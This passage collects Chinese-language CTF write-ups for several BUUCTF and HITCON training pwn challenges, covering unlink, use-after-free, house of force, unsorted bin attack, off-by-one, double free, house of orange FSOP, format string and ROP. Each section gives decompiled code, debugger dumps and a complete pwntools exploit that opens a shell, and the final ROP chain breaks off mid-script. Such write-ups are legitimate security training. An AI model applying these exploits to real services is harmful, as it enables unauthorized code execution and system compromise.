Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

程序太简陋了,几乎没有交互,能用的有三个功能

def add(sz):
p.snedline("1")
p.snedline(str(sz))

def edit(chunk,size,strs):
p.sendline("2")
p.sendline(chunk)
p.sendline(size)
p.sendline(strs)

def free(chunk):
p.sendline("3")
p.sendline(chunk)

sub_4009E8() edit

for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}

没有控制输入范围,可以堆溢出

全局变量s

.bss:0000000000602104                 align 40h
.bss:0000000000602140 ; char *s[1049600]
.bss:0000000000602140 s dq ? ; DATA XREF: add+78↑w
.bss:0000000000602140 ; edit+60↑r ...
.bss:0000000000602148 db ? ;
.bss:0000000000602149 db ? ;
.bss:000000000060214A db ? ;

思路

有堆溢出,有全局指针变量,没有输出函数,所以用unlink改free@gotputs,再次调用free就相当于调用puts,从而libc leak

填入onegedget或者该函数为system并执行binsh,从而getshell

3.GDB

unlink部份

#unlink
#code:
alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3

head = 0x602140 #全局变量

#fake chunk
payload = p64(0)
payload += p64(0x20)
payload += p64(head + 16 - 0x18)
payload += p64(head + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(2, len(payload), payload)

#unlink
free(3)
p.recvuntil('OK\n')
gdb.attach(p)

gdb

0x1561000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa33,
bk = 0x20,
fd_nextsize = 0x602138,
bk_nextsize = 0x602140
}
0x1562010 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1562120 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1562530 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x0,
bk = 0x20ac1,
fd_nextsize = 0x602138,
bk_nextsize = 0x602140
}

pwndbg> x/32gx 0x1561000
0x1561000: 0x0000000000000000 0x0000000000001011
0x1561010: 0x0000000000000a33 0x0000000000000020
fake fd fake bk
0x1561020: 0x0000000000602138 0x0000000000602140
0x1561030: 0x0000000000000020 0x6161616161616161
0x1561040: 0x0000000000000030 0x0000000000000090
0x1561050: 0x0000000000000000 0x0000000000000000
0x1561060: 0x0000000000000000 0x0000000000000000

4.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./stkof")
libc = ELF('/home/joe1sn/libc/64/libc-2.23.so')
#p = process("./stkof")
p = remote("node3.buuoj.cn","25342")

def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))


if __name__ == '__main__':

alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3

head = 0x602140 #global pointer
payload = p64(0) #prev_size
payload += p64(0x20) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a') # overwrite global[3]'s chunk's prev_size

# make it believe that prev chunk is at global[2]
payload += p64(0x30) #0x30 is the front one whole size?

# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
free(3)
p.recvuntil('OK\n')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)

#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()

hitcontraining_uaf

Use_After_Free

  • 1.checksec
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 2.IDA

得到几个选项+后门

def add(sz,text):
p.sendlineafter("choice :","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
def dele(idx):
p.sendlineafter("choice :","2")
p.sendlineafter(":",str(idx))
def show(idx):
p.sendlineafter("choice :","3")
p.sendlineafter("choice :",str(idx))

backdoor:

int magic()
{
return system("cat /home/hacknote/flag");
}

free:

free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
puts("Success");

这里free后指针未清造成UAF

  • EXP
from pwn import *
p = process("./hacknote")

def addnote(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def delnote(idx):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))

def printnote(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

if __name__ == '__main__':
magic = 0x08048986
system = 0x8048506
addnote(32,"ddaa")
addnote(32,"ddaa")
addnote(32,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
p.interactive()

hitcontraining_bamboobox

Unlink or House_Of_Force

  • checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA
def add(length,name):
p.sendlineafter(":","2")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
def edit(idx,length,name):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
def free(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))
def show():
p.sendlineafter(":","1")

back_door

void __noreturn magic()
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}

change_item

 printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
}

堆溢出

**1.unsafe unlink: **对进行 unlink chunk 进行内存布然后借助 unlink 操作来达成修改指针的效果。个人认为通过堆溢出伪造一个chun伪造的chunk一般在fd和bk上不同

**2.house of force: **

进行堆分配如果所有空闲的块都无法满足需那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

那当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案可以使得 top chunk指向我们期望的任何位这就相当于一次任意地址写。 --CTFWiKi

需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小
  • EXP-1

unlink

原版EXP方便理解所以直接拿来用了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11011


r = remote(host,port)

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

additem(0x40,"a"*8)
additem(0x80,"b"*8)
additem(0x40,"c"*8)

ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40)#修复
fake_chunk += p64(0x90)#修复

modify(0,0x80,fake_chunk) #unlink
remove(1)

payload = p64(0)*2
payload += p64(0x40) + p64(0x602068)
modify(0,0x80,payload)
show() #libc base leak
r.recvuntil("0 : ")
atoi = u64(r.recvuntil(":")[:6].ljust(8,"\x00"))
libc = atoi - 0x36e80
print "libc:",hex(libc)
system = libc + 0x45390

modify(0,0x8,p64(system))
r.recvuntil(":")
r.sendline("sh")
r.interactive()

这里可以看见我们伪造的堆结构:

ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
  • 3.EXP-2

house of force

from pwn import *

r = process("./bamboobox")
elf = ELF("./bamboobox")

def alloc(length,context):
r.recvuntil("Your choice:")
r.sendline("2")
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the name of item:")
r.send(context)

def edit(idx,length,context):
r.recvuntil("Your choice:")
r.sendline("3")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the new name of the item:")
r.send(context)

def free(idx):
r.recvuntil("Your choice:")
r.sendline("4")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))

def show():
r.sendlineafter("Your choice:", "1")

def exit():
r.sendlineafter(":", "5")

alloc(0x30,'aaaa')

payload='a'*0x30+p64(0)+p64(0xffffffffffffffff) #house of force
edit(0,0x40,payload)

magic=elf.sym['magic']
malloc_size = -(0x40 + 0x20)-0x10

alloc(malloc_size,'aaaa')
alloc(0x10,p64(magic)*2)
exit()
r.interactive()

hitcontraining_magicheap

Unsorted_Bin_Attack

控制 Unsorted Bin Chunk 的 bk 指针

  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA
def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))
def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

back_door

int l33t()
{
return system("/bin/sh");
}

edit_heap

printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
v2 = atoi((const char *)&v1 + 4);
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(heaparray[(signed int)v1], v2);
return puts("Done !");

未控制边堆溢出

  • 3.EXP
from pwn import *
context.log_level = "debug"
elf = ELF("./magicheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./magicheap")
#p = remote("node3.buuoj.cn","25535")

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))

def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

l33t = 0x6020A0
if __name__ == '__main__':
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')

free(2)
edit(1,'a'*0x60+p64(0)+p64(0x71)+p64(l33t-0x13)) #<--控制bk指针

add(0x60,'aaaa') #2
add(0x60,'aaaa') #3 fake_chunk
edit(3,'a'*8)
p.sendlineafter(":",str(0x1305))
p.interactive()

为什么是p64(l33t-0x13)?

经过动态调试得该处是unsorted bin链表

为什么edit(3,‘a’*8)?

覆写magic的值为‘0x6161616161616161从而进入后门

hitcontraining_heapcreator

Off_By_One

  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA

日常增删查改

def add(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)
def edit(idx,content):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",content)
def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
def delete(idx):
p.sendlineaftr(":","4")
p.sendline(":",str(idx))

edit

printf("Content of heap : ", &buf);
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
puts("Done !");

人为的多读取了一个字节(off by one使得我们可以控制下一个chunksize,再得到`libc base 最后改free为system

  • 3.EXP
from pwn import *
context.log_level = "debug"
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./heapcreator")
p = remote("node3.buuoj.cn",29082)

def add(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def edit(idx,content):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",content)

def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def delete(idx):
p.sendlineaftr(":","4")
p.sendline(":",str(idx))

if __name__ == '__main__':
add(0x18,'aaaa')
add(0x18,'aaaa')
#gdb.attach(p)
edit(0,'/bin/sh\x00'+'a'*0x10+'\x41') #<-off by one
#gdb.attach(p)
delete(1)
#gdb.attach(p)
add(0x30,p64(0)*4+p64(0x30)+p64(elf.got["free"]))
#gdb.attach(p)
show(1)

leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base=leak-libc.sym["free"]
sys_addr = base+libc.sym["system"]

log.success("leak addr=>0x%x",leak)
log.success("libc base=>0x%x",base)
log.success("system addr=>0x%x",sys_addr)

edit(1,p64(sys_addr))
delete(0)
p.interactive()

hitcontraining_secret_garden

Double_Free

  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA

原来的菜单有很多无用的函有用的就两个

def create(lenght,name,color):
p.sendlineafter(":",'1')
p.sendlineafter(":",str(lenght))
p.sendlineafter(":",name)
p.sendlineafter(":",color)
def delete(idx):
p.sendlineafter(":",'3')
p.sendlineafter(":",str(idx))

back_door

int magic()
{
return system("/bin/sh");
}
  • 3.EXP

原版EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11012

#r = remote(host,port)
r = process("./secretgarden")

def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)

def visit():
r.recvuntil(":")
r.sendline("2")

def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil(":")
r.sendline("4")

magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")

r.interactive()

houseoforange_hitcon_2016

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开

IDA

puts(" 1. Build the house                  ");
puts(" 2. See the house ");
puts(" 3. Upgrade the house ");

没有 free 相关函数

build

if ( unk_203070 > 3u )
{
puts("Too many house");
exit(1);
}

最多只能有3个橘子

v3 = malloc(0x10uLL);                         // 存储house大小
printf("Length of name :");
size = made_choice();
if ( size > 0x1000 )
size = 0x1000;
v3[1] = malloc(size);
if ( !v3[1] )
{
puts("Malloc error !!!");
exit(1);
}

最多可以申请 0x1000大小的chunk

printf("Color of Orange:");
size_4 = made_choice();
if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 0xDDAA )
v4[1] = 0xDDAA;
else
v4[1] = size_4 + 30;
*(_QWORD *)v3 = v4;
house_idx = v3;
++unk_203070;
return puts("Finish");
}

发现 color 可以变为(1<x<=7)|| x=0xDDAA,这里可能是突破口

upgrade

if ( unk_203074 > 2u )
return puts("You can't upgrade more");

只能使用两次

printf("Length of name :");
v2 = made_choice();
if ( v2 > 0x1000 )
v2 = 0x1000;
printf("Name:");
safe_read((void *)house_name[1], v2);
printf("Price of Orange: ", v2);
v1 = (_DWORD *)*house_name;
*v1 = made_choice();
colorful();
printf("Color of Orange: ");
v3 = made_choice();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*house_name + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_name + 4LL) = v3 + 30;
++unk_203074;
return puts("Finish");

同样可以申请 0x1000大小的chunk之类的操作,可以堆溢出

思路

1.修改top_chunk的size

2.触发sysmalloc中的_int_free

3.泄露libc和heap的地址

4.触发异常

gdb

0x1 修改top_chunk的size

申请一个house,结构为

#code
add(0x30,'a'*8)
#gdb
gef➤ x/32gx 0x556593871000
0x556593871000: 0x0000000000000000 0x0000000000000021
0x556593871010: 0x0000556593871070 0x0000556593871030
0x556593871020: 0x0000000000000000 0x0000000000000041
0x556593871030: 0x0000000a61616161 0x0000000000000000
0x556593871040: 0x0000000000000000 0x0000000000000000
0x556593871050: 0x0000000000000000 0x0000000000000000
0x556593871060: 0x0000000000000000 0x0000000000000021
0x556593871070: 0x000000210000000a 0x0000000000000000
0x556593871080: 0x0000000000000000 0x0000000000020f81
。。。。。。。。 。。。。。。。。。。。 。。。。。。。。。。

覆盖掉 top chunk size域的payload为

payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)

这样就将 top_chunk->szie = 0x1fc0

0x56222cc84000:	0x0000000000000000	0x0000000000000021
0x56222cc84010: 0x000056222cc84070 0x000056222cc84030
0x56222cc84020: 0x0000000000000000 0x0000000000000041
0x56222cc84030: 0x6161616161616161 0x6161616161616161
.............. .................. ..................
0x56222cc84060: 0x0000000000000000 0x0000000000000021
0x56222cc84070: 0x0000002100000006 0x6161616161616161
0x56222cc84080: 0x0000000000000000 0x0000000000000f81
0x56222cc84090: 0x0000000000000000 0x0000000000000000

修改成功

0x2 触发sysmalloc中的_int_free

成功修改 top chunk,下一步只要我们申请一块 topchunk 大小不满足的chunk即可,由之前的分析可知我们最大可以申请 0x1000 的空间,那么

add(0x1000,'b'*8)

Chunk(addr=0x564081bf1010, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1030, size=0x40, flags=PREV_INUSE)
Chunk(addr=0x564081bf1070, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1090, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf10b0, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1ff0, size=0x10, flags=)
Chunk(addr=0x564081bf2000, size=0x10, flags=PREV_INUSE)

top_chunk消失了

[+] unsorted_bins[0]: fw=0x564081bf10c0, bk=0x564081bf10c0
→ Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

成功加入 unsroted bins ,相当于 free 掉了top chunk

0x3 泄露libc和heap的地址

下从 unsorted bins 中取出一点下来用

因为原来有输出的功能,那么我们使用它输出刚才的那个chunk

#code:
add(0x400,'c'*8)
see()
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("leak add => 0x%x",leak)
gdb.attach(p)
#输出
[+] leak add => 0x7f5cf839a10a
#gdb
0x5584c45e30e0 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x6363636363636363,
bk = 0x7f5cf839a10a <main_arena+1514>,
fd_nextsize = 0x5584c45e30e0,
bk_nextsize = 0x5584c45e30e0
}
vmmap
0x5584c45e3000 0x5584c4626000 rw-p 43000 0 [heap]
0x7f5cf7fd5000 0x7f5cf8195000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8195000 0x7f5cf8395000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8395000 0x7f5cf8399000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8399000 0x7f5cf839b000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

如果知道是知道libc2.23的话

>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000-1514)
'0x3c4b20'

不知道的话直接加减

>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000)
'0x3c510a'

同理可知 heap_base

开始泄露,但是要泄露什么?这里泄露的东西就决定了我们攻击的方式

这道题保护全开,之前的方法好像不太行,想起之前的文章FILE结构

那我们可以伪造出一个file,通过修改 vtable 指针来调用 system那么就需要

libc_base = leak-0x3c510a
system_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh\x00").next()
IO_list_all = libc_base+libc.sym["_IO_list_all"]
IO_str_jumps = libc.symbols["_IO_file_jumps"]+0xc0+libc_base

0x4 开始构造 fake file

ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,

如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数

调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system(’/bin/sh’)

2016 ctf-HITCON——houseoforange

FILE结构

struct _IO_FILE
{
int _flags; /* 高阶版本也叫作 _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
//read
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
//write
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;//通过这个域创造链表

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

偏移0x20处为IO_write_base,偏移0x28处为IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable

绕过检测:

1._mode<=0

2._IO_write_base<IO_write_ptr

最终的结构体

payload = "a"*0x400
payload += p64(0)+p64(0x21)+'a'*0x10

fake_file = p64(0)+p64(0x60)

#利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file += p64(0)+p64(binsh)

fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(IO_str_jumps-0x8)
payload += p64(0)
payload += p64(system_addr) #jump2here
unsortedbin
all [corrupted]
FD: 0x55b6afcad510 ◂— 0x0
BK: 0x55b6afcad510 —▸ 0x7f0850d77510 ◂— 0x0
pwndbg> x/12gx 0x7f0850d77510
0x7f0850d77510: 0x0000000000000000 0x0000000000000000
0x7f0850d77520 <_IO_list_all>: 0x00007f0850d77540 0x0000000000000000
0x7f0850d77530: 0x0000000000000000 0x0000000000000000

已经迁移IO_list_all

EXP

# -*- coding: utf-8 -*- 
from pwn import *
#context.log_level ="debug"
elf = ELF("./houseoforange_hitcon_2016")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
p = 0

def connect(ip,port,mode):
global p
if mode == 1:
p = process("./houseoforange_hitcon_2016")
else:
p = remote(ip,port)

def add(sz,name):
p.sendlineafter(": ","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",name)
p.sendlineafter(":","10")
p.sendlineafter(":","3")

def see():
p.sendlineafter(": ","2")

def edit(sz,text):
p.sendlineafter(": ","3")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
p.sendlineafter(":","3")

def pwn():
#------------House_of_orange------------
add(0x30,'a'*8)
payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)
edit(len(payload),payload)

add(0x1000,'b')
add(0x400,'c'*8)
see()
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("leak add => 0x%x",leak)

#------------Unsoted_bin leak------------
libc_base = leak-0x3c510a
system_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh\x00").next()
IO_list_all = libc_base+libc.sym["_IO_list_all"]
IO_str_jumps = libc.symbols["_IO_file_jumps"]+0xc0+libc_base

log.success("libc base => 0x%x",libc_base)
log.success("system addr => 0x%x",system_addr)
log.success("IO list all => 0x%x",IO_list_all)
log.success("IO str jump => 0x%x",IO_str_jumps)

#------------Fake FILE------------
payload = "a"*0x400
payload += p64(0)+p64(0x21)+'a'*0x10

fake_file = p64(0)+p64(0x60)

#利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file += p64(0)+p64(binsh)

fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(IO_str_jumps-0x8)
payload += p64(0)
payload += p64(system_addr) #jump2here
edit(0x800,payload)
p.recv()
p.sendline("1")
p.sendline("1")
p.interactive()

if __name__ == '__main__':
connect("node3.buuoj.cn",29891,1)
pwn()

inndy_echo

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-10Ch]
unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(&s, 0x100, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}

字符串格式化漏洞,没有栈溢出,利用任意地址写把printf@got改为system@plt

3.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./echo")
p = remote("node3.buuoj.cn","29921")

printf_got_addr = elf.got["printf"]
system_plt_addr = elf.plt["system"]

payload = fmtstr_payload(7,{printf_got_addr: system_plt_addr})
p.sendline(payload)
p.sendline("$0")

p.interactive()

inndy_rop

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

overflow

int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]

return gets(&v1);
}

函数复杂,有溢出,直接自动生成ropchain

3.EXP

from pwn import *
from struct import pack
context.log_level = "debug"
#q = process('./rop')
q = remote("node3.buuoj.cn","28171")
context.log_level = 'debug'

def payload():
p = 'a'*0xc + 'bbbb'
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
